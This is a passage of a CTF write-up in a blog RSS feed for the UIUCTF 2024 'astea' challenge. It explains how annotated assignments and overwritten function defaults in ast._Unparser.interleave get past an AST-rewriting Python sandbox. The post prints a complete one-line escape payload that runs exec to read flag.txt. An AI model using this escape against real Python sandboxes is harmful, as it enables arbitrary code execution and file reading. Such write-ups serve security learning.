&lt;p>after parsing it, it runs it through CoolDownTea().visit function. the CoolDownTea class inherits from ast.NodeTransformer, what this does is go through the generated ast and change the nodes in it based on the defined functions in the CoolDownTea Class.&lt;/p>
&lt;p>the CoolDownTea class does 4 things:&lt;/p>
&lt;ul>
&lt;li>it turns any function call it sees into a call of the safe_call function.&lt;/li>
&lt;li>it turns any import syntax (import module, from module import a) into a call to safe_import function.&lt;/li>
&lt;li>it turns any assignment (specificaly ast.Assign nodes in the ast, this will be important later) into a zero assignment eg: a=2 will become a = 0.&lt;/li>
&lt;li>it turns any binary operation into the binary operation on two zeros so 1+1 would become 0+0.&lt;/li>
&lt;/ul>
&lt;p>after that, it compiles and executes the code using exec it sets &lt;strong>builtins&lt;/strong> to {} and sets two functions safe_call and safe_import.&lt;/p>
&lt;h2 id="exploration">Exploration:&lt;/h2>
&lt;p>Looking at this from afar it seems impossible to do anything since we don’t have any builtin function and even if we did we can’t call because it will be changed to safe_call call.&lt;/p>
&lt;blockquote>
&lt;p>or is it?&lt;/p>
&lt;/blockquote>
&lt;p>in python, functions have their own &lt;strong>builtins&lt;/strong> which basically includes all the builtin functions we know and love so we can use that.&lt;/p>
&lt;blockquote>
&lt;p>now what?
we still can’t call any functions.&lt;/p>
&lt;/blockquote>
&lt;p>remember that we are using python, if we can assign the safe_call function to a builtin function from it’s builtins we are technically calling that function by calling safe_call. something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">safe_call&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__builtins__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;print&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>the problem in here that this assignment will become (because of the NodeTransformer):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">safe_call&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;blockquote>
&lt;p>is there another way to an assignment in python.&lt;/p>
&lt;/blockquote>
&lt;p>it turns out there is.
after taking a look at all the nodes in the ast module &lt;a href="https://docs.python.org/3/library/ast.html">docs&lt;/a>, it turns out there are four types of assignments:&lt;/p>
&lt;ul>
&lt;li>ast.Assign: the normal assignment we know&lt;/li>
&lt;li>ast.AugAssign: augmented assignment eg: x+= 2, a |= 1.&lt;/li>
&lt;li>ast.AnnAssign: just the normal assignment with a type annontiation.&lt;/li>
&lt;li>ast.NamedExpr: this is the walrus operator (this assignment does have some constraints).&lt;/li>
&lt;/ul>
&lt;p>and as it turns out, the CoolDownTea class only checks for normal assignments, which means we can use annontiated assignments to our heats content.&lt;/p>
&lt;blockquote>
&lt;p>Cool
Now we can get the flag right?&lt;/p>
&lt;/blockquote>
&lt;p>In this case we can directly edit license._Printer__filenames and make it point to flag.txt then call license functions.
but obviously i didn’t do that (i didn&amp;rsquo;t know about it then).&lt;/p>
&lt;p>what i thought after reaching this is that i can call any builtin function but with no arguments.
so is there anything in the python builtins that can help me.&lt;/p>
&lt;blockquote>
&lt;p>None, or at least i have not found anything&lt;/p>
&lt;/blockquote>
&lt;p>until i discovered something, when u define a function with default arguments:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">func&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;cool&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">age&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">pass&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>this is actually reflected in one of the function propreties, specifically &lt;strong>defaults&lt;/strong> , it would look like this for func:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">func&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__defaults__&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;cool&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;blockquote>
&lt;p>cool
now we just gotta edit exec’s &lt;strong>defaults&lt;/strong> with our payload and we win.&lt;/p>
&lt;/blockquote>
&lt;p>builtin functions in python does not have the &lt;strong>defaults&lt;/strong> field.&lt;/p>
&lt;p>but that’s not a problem, if there is a function that is user made and it uses it’s arguments to call any builtin function we can use that, the builtin function does not matter since we can change it using:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">func&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__builtins__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;ord&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">func&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__builtins__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;exec&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;blockquote>
&lt;p>safe_call and safe_import do not match
we can also access the global scope using safe_call.&lt;strong>globals&lt;/strong> but none of the functions satisfy the requirements.&lt;/p>
&lt;/blockquote>
&lt;p>until i noticed the fact the the global scope also contains the imported ast module, and it turns out all the functions in it have the &lt;strong>defaults&lt;/strong> attribute.
so i checked the &lt;a href="https://github.com/python/cpython/blob/main/Lib/ast.py">source code&lt;/a> for the ast module.&lt;/p>
&lt;blockquote>
&lt;p>so is there any function in there?&lt;/p>
&lt;/blockquote>
&lt;p>Yes. after 2 mins of searching i found it.&lt;/p>
&lt;p>the “_Unparser.interleave” function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">class&lt;/span> &lt;span style="color:#75af00">_Unparser&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">interleave&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">self&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">inter&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">seq&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;&amp;#34;&amp;#34;Call f on each item in seq, calling inter() in between.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">seq&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">iter&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">seq&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">try&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">next&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">seq&lt;/span>&lt;span style="color:#111">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">except&lt;/span> &lt;span style="color:#75af00">StopIteration&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">pass&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">x&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">seq&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">inter&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">x&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>as u can see from the description of the function it’s just perfect.&lt;/p>
&lt;h2 id="exploit-crafting">Exploit crafting:&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>first, we gotta edit the &lt;strong>defaults&lt;/strong> of the interleave function, what we care about is f (function to be called), and seq (args for that function).&lt;/p>
&lt;p>we set it to call exec on “print(open(’flag.txt’).read())”&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__globals__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;ast&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">_Unparser&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">interleave&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__defaults__&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__builtins__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;tuple&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">None&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">None&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__builtins__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;exec&amp;#39;&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;print(open(&amp;#34;flag.txt&amp;#34;).read())&amp;#39;&lt;/span>&lt;span style="color:#111">])&lt;/span> &lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>second, we assign the safe_call function to interleave function.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__globals__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;ast&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">_Unparser&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">interleave&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>finally, we call the safe_call function&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>our final exploit will be:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__globals__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;ast&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">_Unparser&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">interleave&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__defaults__&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__builtins__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;tuple&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">None&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">None&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__builtins__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;exec&amp;#39;&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;print(open(&amp;#34;flag.txt&amp;#34;).read())&amp;#39;&lt;/span>&lt;span style="color:#111">])&lt;/span> &lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">__globals__&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">&amp;#39;ast&amp;#39;&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">_Unparser&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">interleave&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">safe_call&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>FLAG: uiuctf{maybe_we_shouldnt_sandbox_python_2691d6c1}&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/uiuctf2024-astea/</guid><pubDate>Tue, 25 Jun 2024 00:00:00 +0000</pubDate></item></channel></rss>